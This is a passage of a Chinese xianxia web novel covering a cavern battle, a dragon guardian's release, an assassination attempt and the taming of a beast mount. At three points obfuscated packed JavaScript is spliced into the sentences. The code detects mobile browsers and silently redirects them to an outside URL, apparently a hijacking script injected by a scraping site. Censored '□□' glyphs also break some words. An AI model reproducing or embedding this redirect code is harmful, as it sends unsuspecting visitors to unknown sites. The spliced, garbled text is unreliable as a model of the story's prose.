第二重音攻陷阱被碾过,碎。 第三重剑气陷阱,金锋的剑气纵横交错,斩在巨傀腿上,只溅起几点火星。 三息后,碎。 第四重爆裂符陷阱,林家铭改良过的爆裂符连环炸开,火焰吞没巨傀上半身。 硝烟散去,巨傀胸口多了几道裂纹,但脚步不停。 十息后,碎。 第五重业火陷阱,萧炎留下的三缕业火种子同时爆发,暗红火焰缠上巨傀。 这次有效。 业火烧在巨傀身上,岩石表面开始熔化,滴下暗红的岩浆。巨傀第一次停下脚步,发出低沉的轰鸣,像是在愤怒。 但仅仅五息后,它身上黑焰暴涨,硬生生压灭了业火。 继续前进。 第六重迷踪陷阱,石岳用土法制造的迷宫幻象。 巨傀看都不看,一拳轰在洞壁上,整片岩层崩塌,迷宫直接物理拆除。 碎。 最后一重,林家铭布置的“混沌乱流陷阱”——他用混沌灵力强行搅乱一片区域的灵力,让任何进入的人都会灵力失控。 巨傀踏入。 它身上流淌的岩浆纹路忽明忽暗,动作明显一滞。 有效! “趁现在!”林家铭大吼,“集火!” 五人同时出手! 石岳土牢术全力施展,地面隆起石柱试图锁住巨傀双腿。 水月儿音攻化作冰霜锁链缠住巨傀双臂。 金锋剑光直刺巨傀眼眶。 萧炎业火再起,烧向巨傀胸口裂纹。 林家铭则持枪冲上,玄渊枪灰光大盛,枪出如龙,直刺巨傀膝盖关节! “铛铛铛——!” 金铁交鸣声炸响! 巨傀被短暂困住,但仅仅三息后,它身上黑焰再次暴涨,挣脱所有束缚! 一拳轰向最近的林家铭! “小心!”萧炎扑过去推开他,自己硬扛了这一拳。 “噗!” 萧炎喷血倒飞,撞在洞壁上,胸前焦黑一片,骨头断了至少三根。 “萧师兄!”林家铭目眦欲裂。 巨傀转身,又是一拳砸向石岳。 石岳咬牙,厚土护罩撑到极限。 “轰!” 护罩破碎,石岳被砸进地面,生死不知。 水月儿和金锋还想再战,巨傀一脚踏下,地面炸裂,两人被震飞出去,重伤倒地。 短短十息,五人全灭。 林家铭挣扎着爬起来,看着步步逼近的巨傀,又看了眼溶洞深处——黑蛟还在净化大阵,全身笼罩在雾气中,明显到了关键时刻。 不能让它过去。 “小黑……”林家铭握紧玄渊枪,低声问,“还能吃多少?” 枪魂“小黑”传来兴奋又虚弱的意念——刚才吞噬镇魂锁链已经快到极限,但还能撑一次。 “那就再来一次。” 林家铭深吸一口气,混沌灵力在体内疯狂运转,不顾经脉胀痛,强行注入玄渊枪。 枪身龙纹亮到刺眼。 他抬头看着巨傀,咧嘴一笑:“大家伙,尝尝这个。” 一□□出! 不是刺向巨傀身体,而是刺向地面。 枪尖刺入岩层,混沌灵力顺着裂缝疯狂涌入地底! “地脉……引动!” 这是他刚才看黑蛟控制雾气时,临时冒出的想法——混沌灵力既然能模拟任何属性,那能不能模拟地脉之力? 试试就知道了。 灰蒙蒙的灵力钻入地底,顺着天然的地脉裂隙蔓延,强行搅动、融合地脉中的能量。 整个溶洞开始剧烈震动! 地面龟裂,岩层崩塌,地火从裂缝中喷涌而出! 巨傀脚下一空,陷入裂缝,地火瞬间吞没它下半身。 但它毕竟是金丹后期的战争傀儡,硬扛着地火,一拳砸向林家铭! 避不开了。 林家铭咬牙,准备硬扛。 但就在这时—— 一道灰白的雾气从溶洞深处涌来,化作一面雾盾,挡在他面前。 “轰!” 巨傀的拳头砸在雾盾上,盾面龟裂,但没碎。 黑蛟的声音响起:“再坚持二十息,大阵就净化完了。” 它还在分心保护这边! 林家铭精神一振,从储物袋里掏出最后的手段——钱富贵送的机关小道具。 迷烟弹、绊脚丝、痒痒夹…… 一股脑全扔向巨傀。 这些东西对金丹后期傀儡当然没用,但能干扰视线,争取时间。 巨傀被迷烟笼罩,动作一滞。 林家铭趁机后撤,来到萧炎身边。 萧炎脸色惨白,胸前伤口焦黑,业火之力在伤口处跳动,阻止煞气侵蚀,但也让他痛苦不堪。 “萧师兄,撑住。”林家铭从储物袋里掏出一颗疗伤丹药塞进他嘴里。 萧炎艰难咽下,抓住林家铭手腕,声音虚弱:“林师弟……还有最后……一招。” “什么?” “我体内的业火本源……可以引爆。”萧炎眼中闪过决绝,“引爆后……能暂时重创它。但我会……修为尽废。” 林家铭一愣,随即摇头:“不行,没到那一步。” “可是……” “没有可是。”林家铭打断他,看向巨傀,“我还有办法。” 什么办法? 他自己也不知道。 但必须想出来。 巨傀已经冲出迷烟,一拳轰碎雾盾,再次逼近。 黑蛟那边,雾气波动越来越剧烈,显然到了净化大阵的关键时刻。 二十息……不,可能只剩十五息了。 十五息内,必须拦住这怪物。 林家铭脑子疯狂转动。 混沌灵力……玄渊枪……地脉……对了! 他想起刚才引动地脉时,感知到的地底深处,有一股极其庞大但混乱的能量源。 应该是秘境大阵的核心,被煞气污染了三百年,能量已经紊乱不堪。 如果…… 一个疯狂的计划在脑中成型。 “蛟前辈!”林家铭大吼,“把大阵核心的能量,往我这边引!” 黑蛟一愣:“你想干什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189098|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那股能量太庞大了,你接不住!” “接不住就炸!”林家铭咧嘴,笑容疯狂,“反正都是死,不如玩把大的!” 黑蛟沉默了一瞬,然后点头:“好。” 溶洞深处,雾气突然剧烈旋转,形成一个漩涡。 漩涡中心,一道暗红色的光柱冲天而起——那是被污染的大阵核心能量! 光柱在空中拐了个弯,朝着林家铭涌来! 巨傀似乎察觉到危险,放弃攻击,转身想逃。 但晚了。 林家铭张开双臂,迎接那股恐怖的能量。 混沌气旋转速飙升到极限,疯狂吞噬涌入体内的能量。 太多了。 经脉瞬间被撑裂,丹田剧痛,意识开始模糊。 但他咬牙挺住,将所有能量强行压缩、融合,注入玄渊枪。 枪身亮到刺眼,龙纹如同活过来般在枪身游走。 枪魂“小黑”传来痛苦又兴奋的嘶鸣——它也要撑爆了。 “还不够……”林家铭七窍流血,但眼神越来越亮,“蛟前辈,再来!” 黑蛟一咬牙,又引出一道能量光柱。 两道能量在林家铭体内碰撞、融合,混沌灵力如同磨盘,疯狂碾磨。 巨傀已经冲到溶洞入口,就要逃出去。 但林家铭动了。 他持枪,踏出一步。 不是冲向巨傀,而是冲向溶洞顶部。 玄渊□□向洞顶岩层,枪身携带的恐怖能量轰然爆发! “给老子……开!!” “轰隆隆——!!!” 整个溶洞顶部被炸开一个大洞,露出秘境天空。 但这不是关键。 关键是被炸开的岩层深处,露出了……秘境大阵的核心阵眼。 一个直径三丈的圆形阵盘,悬浮在半空,表面刻满复杂的符文,此刻符文大半被染成暗红,还在不断扭曲。 “就是现在!”林家铭大吼,“萧师兄,业火!烧阵眼!” 萧炎强撑起身,拼尽最后力气,将体内残存的业火全部逼出。 一道暗红火线射向阵眼。 业火落在阵眼上,如同火星落入油锅,瞬间点燃了整个阵盘! 被污染三百年的大阵核心,在业火焚烧下开始崩溃、净化、重组。 而与此同时,秘境各处,那些被煞气污染的雾气开始消散,天空逐渐恢复清明。 巨傀冲到洞口,突然身体一僵。 它身上的岩浆纹路迅速黯淡,黑焰眼眶中的火焰开始熄灭。 没有了大阵煞气的支撑,它失去了能量来源。 “砰……” 巨傀跪倒在地,身体开始崩解,化作一堆焦黑的岩石。 它……废了。 溶洞里,一片死寂。 林家铭从半空坠落,摔在地上,浑身是血,意识模糊。 但他还活着。 黑蛟的净化完成了,秘境大阵重新掌控在它手中。 萧炎瘫在地上,业火耗尽,重伤濒死。 石岳、水月儿、金锋都昏迷不醒。 但都还活着。 黑蛟缓缓游过来,低头看着林家铭,眼中闪过复杂:“人类……你做到了。” 林家铭咧嘴想笑,但扯到伤口,疼得龇牙咧嘴:“废话……小爷我……从不吹牛……” 说完,眼前一黑,昏了过去。 38. 秘境归途,暗流未止 第三十八章秘境归途,暗流未止 半日后,幻雾迷林秘境出口。 五宗长老和弟子们聚集在阵法外,气氛凝重。 按照惯例,三日试炼结束,五支队伍会陆续从出口传送出来。但现在距离出口开启已经过去一炷香时间,只出来了寥寥数人。 而且全是重伤。 青岚宗的韩厉长老脸色铁青,看着被抬出来的自家弟子——楚云、苏晴、陈风等人个个带伤,虽无性命之忧,但都灵力耗尽,神情恍惚。 “里面发生了什么?”韩厉沉声问楚云。 楚云摇头,声音沙哑:“我们遇到了煞气怪物……很多。其他队伍……不知道。” 玄水宗、厚土宗、锐金宗的长老也都在询问自家弟子,得到的答案大同小异——秘境异变,煞气怪物横行,队伍被打散,各自逃命。 “离火宗的队伍呢?”有人发现不对。 离火宗带队长老脸色难看——他们宗门十名参赛弟子,一个都没出来。 “还有乙队。”韩厉皱眉,“林家铭、萧炎他们那队,也没出来。” 就在众人不安时,出口阵法再次亮起。 五道身影踉跄走出。 正是乙队五人。 但他们的情况,比其他人更糟。 林家铭被石岳搀扶着,浑身是血,脸色苍白如纸,但居然还醒着,眼睛半睁半闭。 萧炎则完全昏迷,被水月儿和金锋用简易担架抬着,胸前缠着绷带,血迹斑斑。 石岳、水月儿、金锋三人也都带伤,但至少还能走。 而最引人注目的是—— 他们身后,跟着一个身穿灰白长袍、面容俊秀却带着妖异之气的青年。 青年赤足,长发披散,眼瞳是奇异的竖瞳,周身萦绕着淡淡的雾气。 “你是谁?”韩厉警惕地盯着这陌生青年。 青年还没开口,林家铭先说话了,声音虚弱但清晰:“韩长老……这位是……秘境守护灵蛟前辈……化形了。” “什么?!”众长老震惊。 秘境守护灵?化形? 这可是传说中的存在! 灰袍青年——黑蛟化形的“雾隐”——微微颔首:“本座乃雾隐山脉守护灵蛟,被困秘境三百年。今得林小友相助脱困,特随行而出,欲见五宗宗主,有要事相告。” 这话信息量太大了。 秘境守护灵?被困三百年?林家铭帮忙脱困? 韩厉眉头紧皱,看向林家铭:“林师侄,到底怎么回事?” 林家铭扯出一个苦笑:“长老……能不能先让我们治伤?萧师兄……快不行了。” 韩厉这才注意到萧炎的伤势,脸色一变:“快!百草峰弟子何在?!救人!” 几个百草峰弟子连忙上前,接手救治。 萧炎被抬走后,林家铭也撑不住了,眼前一黑,昏了过去。 昏迷前,他听到雾隐的声音:“放心,他们无性命之忧。本座以雾隐之力护住了他们心脉。” 然后就是一片黑暗。 林家铭做了个梦。 梦里,他站在一片焦黑的大地上,四周是密密麻麻的煞气凝结体——成百上千,每一团都有房屋大小。 这些怪物没有攻击他,而是齐齐跪拜。 跪拜的对象,是前方一个黑袍人影。 那人背对着他,身形高瘦,长发披散。 然后,缓缓转身。 露出一张脸。 一张……林家铭认识的脸。 “?!” 林家铭猛地惊醒。 “醒了?”旁边传来熟悉的声音。 他扭头,看到钱富贵坐在床边,正端着一碗药。 “钱师弟?这是哪?” “青岚宗医庐。”钱富贵把药递过来,“你都昏了两天了。萧炎师兄昨天才醒,石岳师兄他们也都安顿好了。” 林家铭接过药碗,一饮而尽,苦得龇牙咧嘴:“雾隐前辈呢?” “在掌门大殿。五宗长老和宗主都在,据说已经谈了两天了,还没出来。”钱富贵压低声音,“外面都传疯了,说你们乙队在秘境里干掉了三个金丹邪修,还救出了秘境守护灵……真的假的?” “差不多吧。”林家铭含糊道,掀开被子下床,“我去看看萧师兄。” “哎你伤还没好……” “没事,死不了。” 林家铭活动了一下筋骨,虽然浑身酸痛,但混沌灵根的恢复力确实变态,两天时间经脉已经修复了大半,灵力也恢复了三成。 他走出医庐,来到隔壁房间。 萧炎半躺在床上,脸色依然苍白,但眼神清明。 看到林家铭,他扯了扯嘴角:“还活着?” “废话。”林家铭拉过凳子坐下,“你怎么样?” “业火耗尽,修为跌到炼气五层,需要重新修炼。”萧炎语气平静,像是在说别人的事,“不过命保住了,算赚了。” “抱歉,连累你了。” “是我自己要用的。”萧炎摇头,“而且……我也不是白帮忙。” 他从枕边拿起一块玉简,递给林家铭:“雾隐前辈给的。里面记录了三百年前那批人的部分信息,还有‘使徒’组织的一些线索。” 林家铭接过玉简,神识一扫。 信息很零碎,但有几个关键点: 第一,三百年前主导封印黑蛟的,是当时五宗联盟的“巡察使”,姓墨——应该就是墨长老的先辈。 第二,使徒组织至少有九位使徒,数字越小地位越高。墨长老是第七,他口中的“那位大人”是第三。 第三,这个组织似乎在各地收集煞气、污染地脉、控制自然精灵,目的是……炼制某种“战争兵器”。 “战争兵器?”林家铭皱眉,“他们想跟谁打仗?” “不知道。”萧炎顿了顿,“但雾隐前辈说,他听到过‘清洗日’这个词。似乎是在准备一场大规模的行动,目标是……清除所有不服从的势力,统一修仙界。” 林家铭倒吸一口凉气。 这野心也太大了。 “还有一件事。”萧炎压低声音,“雾隐前辈说,他在净化秘境大阵时,感应到秘境之外,有人用秘法监视。那人……手背上也有符文,但比墨长老的更复杂,应该是更高位的使徒。” “也就是说,我们的行动,被他们看到了?” “应该是。”萧炎点头,“所以接下来,我们可能会被盯上。” 林家铭沉默片刻,突然笑了:“盯就盯呗。反正债多不压身,仇多不怕鬼。” “你这心态……”萧炎失笑,“倒是乐观。” 两人正说着,房门被推开。 石岳、水月儿、金锋三人走了进来,也都恢复得不错。 “林师弟醒了?”石岳笑着打招呼。 “刚醒。”林家铭看向三人,“你们怎么样?” “没事了。”水月儿轻声道,“百草峰长老说,静养半月就能恢复。” 金锋则言简意赅:“剑断了,得重铸。” 五人聚在一起,气氛有些微妙。 虽然才认识几天,但共同经历了生死,关系已经不同了。 “接下来什么打算?”石岳问。 “回各自宗门汇报吧。”水月儿道,“秘境里的事太大了,必须让高层知道。” 金锋点头。 萧炎却看向林家铭:“林师弟,雾隐前辈说想见你一面,在你醒后。” “现在?” “现在。” 林家铭起身:“那我去一趟。” 他离开医庐,走向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189099|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌门大殿。 路上,遇到不少弟子,都对他投来好奇、敬畏、甚至嫉妒的目光。 显然,秘境里的事已经传开了。 到了大殿外,值守弟子通报后,让他进去。 大殿内,清虚真人坐在主位,左右是五宗的长老和宗主。 雾隐——黑蛟化形的青年——坐在客座首位。 看到林家铭进来,所有人都看向他。 “弟子林家铭,见过掌门、各位前辈。”林家铭行礼。 清虚真人点头:“林师侄,伤可好些了?” “好多了,谢掌门关心。” “那就好。”清虚真人顿了顿,“雾隐前辈已将秘境之事详细告知。你们五人,立了大功。” 旁边离火宗宗主冷哼:“功是功,但萧炎那小子,擅自动用禁忌之术,业火耗尽,修为大跌,也算得了教训。” 这话说得阴阳怪气。 雾隐突然开口:“若非萧小友拼死一搏,秘境大阵无法净化,本座也无法脱困。此等功劳,难道抵不过一点‘禁忌之术’?” 离火宗宗主脸色一僵,没再说话。 清虚真人打圆场:“此事暂且不提。林师侄,雾隐前辈说,想邀你去‘雾隐山脉’做客,你可愿意?” 林家铭一愣,看向雾隐。 雾隐微笑:“本座脱困,需回雾隐山脉休养,稳固修为。但这一路上,可能会遇到‘使徒’组织的拦截。想请林小友同行,也算还你一个人情——雾隐山脉中,有适合你混沌灵根的修炼之地。” 适合混沌灵根的修炼之地? 林家铭心动了。 但他没立刻答应,而是问:“前辈,您之前说,感应到秘境外有人监视。那人……是第几使徒?” 雾隐笑容收敛:“第三使徒,或者说……他的一具分身。” “实力如何?” “分身的话,金丹大圆满。若是本体……”雾隐眼中闪过忌惮,“至少元婴中期。” 大殿内一片倒吸凉气声。 元婴中期! 整个五宗联盟,明面上的元婴期也就三位,还都是初期。 “所以这一路,会很危险。”雾隐看向林家铭,“你若不愿,本座也不强求。” 林家铭想了想,突然笑了:“去啊,为什么不去?元婴中期又怎么样,大不了再玩把大的。” 众长老:“……” 这小子,是真不怕死啊。 清虚真人揉了揉太阳穴:“此事……还需从长计议。雾隐前辈不妨先在青岚宗暂住几日,待我们商议出稳妥方案,再行动身。” 雾隐点头:“可。” 会议结束。 林家铭走出大殿,正准备回医庐,突然听到有人叫他。 “林师弟。” 回头,是楚云。 楚云看着他,眼神复杂:“秘境里……多谢。” 虽然没明说,但林家铭知道,他指的是自己小队干掉煞气怪物,间接救了其他队伍的事。 “同门之间,应该的。”林家铭摆摆手。 楚云沉默片刻,突然压低声音:“小心离火宗。烈焱回来后,一直在打听你和萧炎的事。而且……我听说,离火宗内部,似乎有人和那个‘使徒’组织有联系。” 林家铭瞳孔微缩:“有证据吗?” “没有,只是直觉。”楚云说完,转身离开。 林家铭站在原地,看着他的背影,若有所思。 使徒组织的触手,已经伸进五宗内部了? 如果真是这样,那接下来的路,会比想象中更麻烦。 他抬头看向天空。 阳光正好,万里无云。 但林家铭知道,这片平静之下,暗流汹涌。 “有意思。”他咧嘴一笑,“这才刺激嘛。” 39. 雾隐之邀,暗杀序幕 医庐的夜很安静。 林家铭盘膝坐在床上,运转混沌灵力修复经脉。经过两天休养,他的伤势已经好了七七八八,修为甚至隐隐有突破炼气八层的趋势——生死战斗果然是最快的修炼方式。 窗外月光如水。 突然,他睁开了眼睛。 不是听到了什么声音,而是……混沌灵力感知到了异常的灵力波动。 很微弱,很隐蔽,像是有人用高明的隐匿术法靠近。 而且不止一道。 “来了。”林家铭心中冷笑,手悄悄摸向枕边的玄渊枪。 自从楚云提醒他小心离火宗后,他就猜到会有人按捺不住。只是没想到这么快,而且直接选在医庐动手——这里可是青岚宗核心区域,守卫森严。 要么是胆子太大,要么是……有内应。 林家铭不动声色,继续装睡,神识却悄悄散开,锁定门外三道气息。 都是筑基初期,修炼火系功法,灵力中带着离火宗特有的灼热感,但又混杂着一丝若有若无的……煞气。 果然和使徒组织有关。 三人停在门外,没有立刻行动,似乎在等什么。 几息后,远处传来一声闷响,像是有人触发了什么阵法。 医庐的警戒阵法被短暂干扰了。 就是现在! 房门无声推开,三道黑影窜入,手中短刃直刺床上! “铛铛铛——!” 玄渊枪横扫,灰蒙蒙的枪芒炸开,将三柄短刃尽数荡开! 林家铭翻身下床,咧嘴一笑:“三位师兄,大半夜不睡觉,来我这儿串门啊?” 三个黑衣人眼神一冷,也不废话,再次攻上。 这次他们不再隐藏,筑基初期的修为完全爆发,火系灵力化作三道火蛇,从不同角度咬向林家铭! “就这?” 林家铭不退反进,玄渊枪在手中一抖,枪出如龙! 混沌灵力注入枪身,枪魂“小黑”兴奋嘶鸣——它最喜欢的就是吞噬这些带煞气的灵力! “破!” 一□□穿第一条火蛇,混沌灵力疯狂吞噬其中的火灵力和煞气! 黑衣人脸色微变,显然没料到林家铭的枪如此诡异。 另外两人趁机绕后,一掌拍向林家铭后心! 但林家铭像是背后长眼,枪身回扫,同时脚下踏出诡异的步法——这是他从雾隐操控雾气时领悟的“雾隐步”,虽然只是皮毛,但在小范围挪移中效果极佳。 “砰砰!” 两掌拍空,黑衣人一愣。 趁这空当,林家铭枪尖连点,点在两人手腕穴位上。 “啊啊!” 惨叫声中,两人手腕被废,短刃落地。 只剩最后一人。 那黑衣人见势不妙,转身想逃。 “来了就别走了。”林家铭冷笑,从储物袋里掏出一张改良版“粘胶符”甩出去。 符箓炸开,粘性极强的胶状物喷了黑衣人一身,把他死死黏在地上。 战斗结束,不过十息。 林家铭走到被黏住的黑衣人面前,蹲下身,扯下他的面罩。 一张年轻但陌生的脸。 “离火宗弟子?”林家铭问。 黑衣人咬牙不答。 “不说也行。”林家铭耸肩,从怀里掏出一块留影石,“反正刚才的战斗我已经录下来了,回头交给执法堂,让他们查查谁家的火法里会带煞气。” 黑衣人脸色变了。 煞气是邪修标志,五宗弟子修炼煞气功法是大忌,一旦被发现,轻则废去修为逐出宗门,重则当场格杀。 “我说!”他终于松口,“是烈焱师兄让我们来的!他说……说你在秘境里抢了他的机缘,还害他被淘汰,要我们给你个教训!” “教训?”林家铭挑眉,“你们刚才那架势,可不像教训,像要命。” 黑衣人语塞。 “而且,”林家铭盯着他的眼睛,“你们身上的煞气,烈焱可没有。这玩意儿哪来的?” 黑衣人眼神闪烁。 就在这时—— 门外传来急促的脚步声。 韩厉带着几名执法堂弟子冲进来,看到屋内场景,脸色一沉:“怎么回事?” 林家铭简单说了经过,又递上留影石。 韩厉看完,脸色更难看了。 “押下去,严加审讯!”他命令执法堂弟子,然后看向林家铭,“林师侄,你没事吧?” “没事。”林家铭收起玄渊枪,“不过韩长老,我觉得这事没完。” “怎么说?” “这三个只是小喽啰。”林家铭指了指窗外,“真正的大鱼,还没露面呢。” 话音刚落,远处突然传来一声震天动地的咆哮! 那声音……不是人,也不是普通妖兽。 充满了洪荒、暴戾、古老的气息。 紧接着,整个青岚宗护山大阵自动激活,青光冲天! “敌袭?!”韩厉脸色大变,纵身冲出医庐。 林家铭也跟着出去,抬头看向天空。 夜空中,一道巨大的黑影正在攻击护山大阵。 那黑影形似巨鸟,双翼展开足有十丈,通体漆黑,羽毛上流淌着岩浆般的纹路,双目赤红如血。 它每一次扑击,都带起滔天黑焰,撞在护山大阵上,激起剧烈涟漪。 “这是……‘祸斗’?!”有长老认出来,声音发颤,“上古凶兽后裔,不是早就灭绝了吗?!” 祸斗,传说中能吞食火焰、操控煞气的凶兽,成年后实力堪比元婴期! 眼前这头虽然还没成年,但也有金丹后期的威势! 更让人心惊的是,祸斗背上,站着一个人。 黑袍,面具,手背上刻着复杂的暗红符文。 第三使徒的分身! “交出雾隐,否则今日踏平青岚宗!”黑袍人的声音如同九幽寒风,响彻整个宗门。 清虚真人凌空而起,怒喝:“放肆!青岚宗岂容你撒野!” 大战一触即发。 林家铭却盯着那头祸斗,眼睛越来越亮。 不是害怕,是……兴奋。 “好帅的坐骑……”他喃喃自语。 旁边的萧炎不知何时也出来了,听到这句话,嘴角一抽:“林师弟,那是凶兽,会吃人的。” “凶兽怎么了?”林家铭咧嘴,“凶兽才拉风啊!你看那翅膀,那羽毛,那气势……骑出去得多有面子!” 萧炎:“……” 这家伙的脑回路,果然跟正常人不一样。 天空中,清虚真人和黑袍人已经交手。 元婴对金丹大圆满,本该碾压。但黑袍人手段诡异,身上煞气滔天,竟然暂时扛住了清虚真人的攻击。 而那头祸斗,则开始疯狂攻击护山大阵,试图强行闯入。 一旦阵法被破,青岚宗必将损失惨重。 “不能让它继续攻击阵法!”韩厉咬牙,就要带人冲出去。 “等等。”雾隐突然出现,他抬头看着祸斗,眼中闪过异色,“这头祸斗……不对劲。” “怎么不对劲?” “它眼中只有疯狂,没有灵智。”雾隐沉声道,“应该是被强行催化成长,用煞气控制了神志。现在的它,只是一具杀戮傀儡。” “能救吗?”林家铭突然问。 雾隐一愣:“救?” “对啊,把它抢过来,治好,当坐骑。”林家铭理所当然地说,“这么帅的鸟,杀了多可惜。” 众长老:“……” 清虚真人在空中听到这话,差点岔了气。 黑袍人则怒极反笑:“无知小儿!祸斗乃上古凶兽,岂是你等蝼蚁能觊觎的?今日就先拿你开刀!” 他一挥手,祸斗调转方向,朝着林家铭俯冲下来! 滔天黑焰扑面而来! “林师弟小心!”萧炎想拉他,但自己重伤未愈,动作慢了一拍。 眼看黑焰就要吞没林家铭—— 雾隐突然踏前一步,张口喷出一口灰白雾气。 那雾气看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“咔嚓——!” 控制符文碎裂! 黑袍人感应到联系断开,又惊又怒:“你竟敢毁我灵兽!找死!” 他舍弃清虚真人,直扑林家铭! 但雾隐拦在了他面前。 “你的对手,是我。” 灰白雾气与滔天黑焰碰撞,天地色变。 而祸斗背上,林家铭咧嘴一笑,拍了拍鸟脖子:“伙计,还能飞不?” 祸斗长啸一声,双翼展开,冲天而起! 虽然伤势未愈,虽然神志还没完全恢复,但它毕竟是上古凶兽后裔,骨子里的骄傲还在。 载着林家铭在夜空中盘旋一圈,稳稳落在医庐前。 众弟子目瞪口呆。 这就……收服了? 那可是金丹后期的祸斗啊! 萧炎看着从鸟背上下来的林家铭,叹了口气:“林师弟,你这运气……真是让人嫉妒。” “这不是运气。”林家铭摸着祸斗的羽毛,笑容灿烂,“这叫人格魅力。” 祸斗低吼一声,用头蹭了蹭他的手,表示认同。 天空中,黑袍人见大势已去,咬牙捏碎一枚符箓,化作黑光遁走。 清虚真人想追,但雾隐拦住他:“穷寇莫追,小心埋伏。” 战斗结束。 青岚宗虽然护山大阵受损,但无人死亡,还意外收获了一头祸斗坐骑——虽然这坐骑目前只能算半个,伤势未愈,神志也没完全恢复。 “给它起个名字吧。”萧炎建议。 林家铭想了想,看着祸斗漆黑如墨的羽毛和赤红如血的双瞳,咧嘴一笑: “叫‘墨焰’,怎么样?” 祸斗……墨焰低吼一声,似乎很满意。 夜还深。 但这一夜过后,林家铭的名字,将传遍五宗。 不仅因为他在秘境中的表现。 更因为……他骑着一头祸斗,在所有人面前,装了个大的。 40. 出发雾隐,旅途多舛 三日后,青岚宗山门外。 雾隐一身灰白长袍,赤足而立,周身雾气缭绕。他抬头看了看天色:“该走了。” 林家铭翻身骑上墨焰——这头祸斗经过三天调养,伤势稳定了些,虽然还不能长途飞行,但短途载人赶路没问题。漆黑羽毛在阳光下泛着金属光泽,赤红眼瞳中疯狂褪去,多了几分灵性。 萧炎站在一旁,脸色仍有些苍白,但眼神坚定。他换了一身普通青衫,腰间挂着酒葫芦,看起来就像个寻常散修。 “萧师兄,你真要跟来?”林家铭问,“你伤还没好。” “业火耗尽,待在宗门也无用。”萧炎淡淡道,“雾隐山脉有地火灵脉,或许能找到恢复业火的机缘。” 雾隐点头:“确实,雾隐山脉深处有一处‘地火幽潭’,对火系修士有益。” 三人一兽,就此出发。 青岚宗众长老和弟子在山门相送。清虚真人特意给了林家铭一块护身玉符,能挡金丹期全力一击。 “此行凶险,务必小心。”韩厉叮嘱。 楚云站在人群后,看着林家铭,眼神复杂。他犹豫片刻,还是上前,递过一枚剑形玉佩:“若遇危险,捏碎此玉,我会感应到。” 林家铭接过玉佩,上下打量,突然咧嘴一笑:“楚师兄,你这玉佩……该不会是定情信物吧?” 楚云脸色瞬间黑如锅底:“……是护身符!” “哦~”林家铭故意拉长音调,“楚师兄这么关心我,我都要感动哭了。你不会是暗恋我,想让我随身带着你的‘心意’吧?” 周围弟子纷纷侧目,有几个甚至憋笑憋得肩膀发抖。 楚云额头青筋暴起,一字一顿:“林、家、铭!” “在呢在呢。”林家铭嬉皮笑脸,“楚师兄别生气嘛,开个玩笑。不过这玉佩我收下了,毕竟是你的一片‘心意’~” 楚云深吸一口气,强忍着拔剑的冲动,转身就走。走了两步又停下,头也不回地说:“……活着回来。” 说完快步离去,背影僵硬。 林家铭看着他的背影,笑了笑,将玉佩小心收进怀里。 “林师弟,你……”萧炎欲言又止。 “怎么了?朋友之间开开玩笑嘛。”林家铭耸肩,“你看楚师兄那副别扭样子多有趣。” 萧炎:“……” 他开始同情楚云了。 队伍启程。 墨焰载着林家铭低空飞行,雾隐御雾而行,萧炎则用一张飞行符——他修为跌到炼气五层,已经无法长时间御空了。 “萧师兄,要不你上来挤挤?”林家铭拍了拍墨焰后背,“墨焰载两个人应该没问题。” 萧炎摇头:“不用。我灵力虽然跌了,但体魄还在,赶路没问题。而且……”他顿了顿,“墨焰伤势未愈,载两人负担太重。” 雾隐也赞同:“萧小友说得对。此行路途遥远,还是节省坐骑体力为好。” 林家铭想了想,从储物袋里掏出一沓飞行符塞给萧炎:“那这些你拿着,省着点用,用完再找我拿。” 萧炎没客气,收下了。 起初很顺利。 离开青岚宗范围后,一路向西,途经几座凡间城镇,补充了些干粮和日用品。 林家铭还特意买了包糖炒栗子,边飞边吃,时不时喂墨焰几颗——这凶兽居然喜欢吃甜食,也是稀奇。 “林师弟,你这坐骑……”萧炎看着墨焰叼栗子的模样,表情微妙。 “怎么了?不可爱吗?”林家铭拍拍墨焰脑袋。 墨焰低吼一声,配合地蹭了蹭他手心。 萧炎扶额:“你高兴就好。” 雾隐在一旁看着,眼中闪过笑意。 但这份轻松,只持续了半天。 午后,队伍进入一片荒山。 这里山势险峻,植被稀疏,空气中弥漫着淡淡的硫磺味。按地图,此地名叫“瘴石岭”,因地下有火山脉,常年喷发毒瘴而得名。 “小心些,此地易藏伏兵。”雾隐提醒。 话音刚落。 “咻咻咻——!” 数道水箭从四面八方射来,快如闪电! 墨焰反应极快,双翼一振,躲开正面攻击。但水箭数量太多,还是有两支擦过它的翅膀,留下深深的血痕。 “吼!”墨焰吃痛,眼中泛起凶光。 雾隐挥手,雾气化作盾牌挡在众人身前,水箭撞在雾盾上,炸成水花。 “出来。”雾隐声音冰冷。 六道身影从山石后现身。 都穿着玄水宗服饰,为首的是个中年女修,面容冷峻,手持一柄湛蓝长剑。 “玄水宗执事,柳寒。”女修冷声道,“奉宗主之命,请雾隐前辈回玄水宗做客。” “做客?”雾隐挑眉,“用这种方式?” 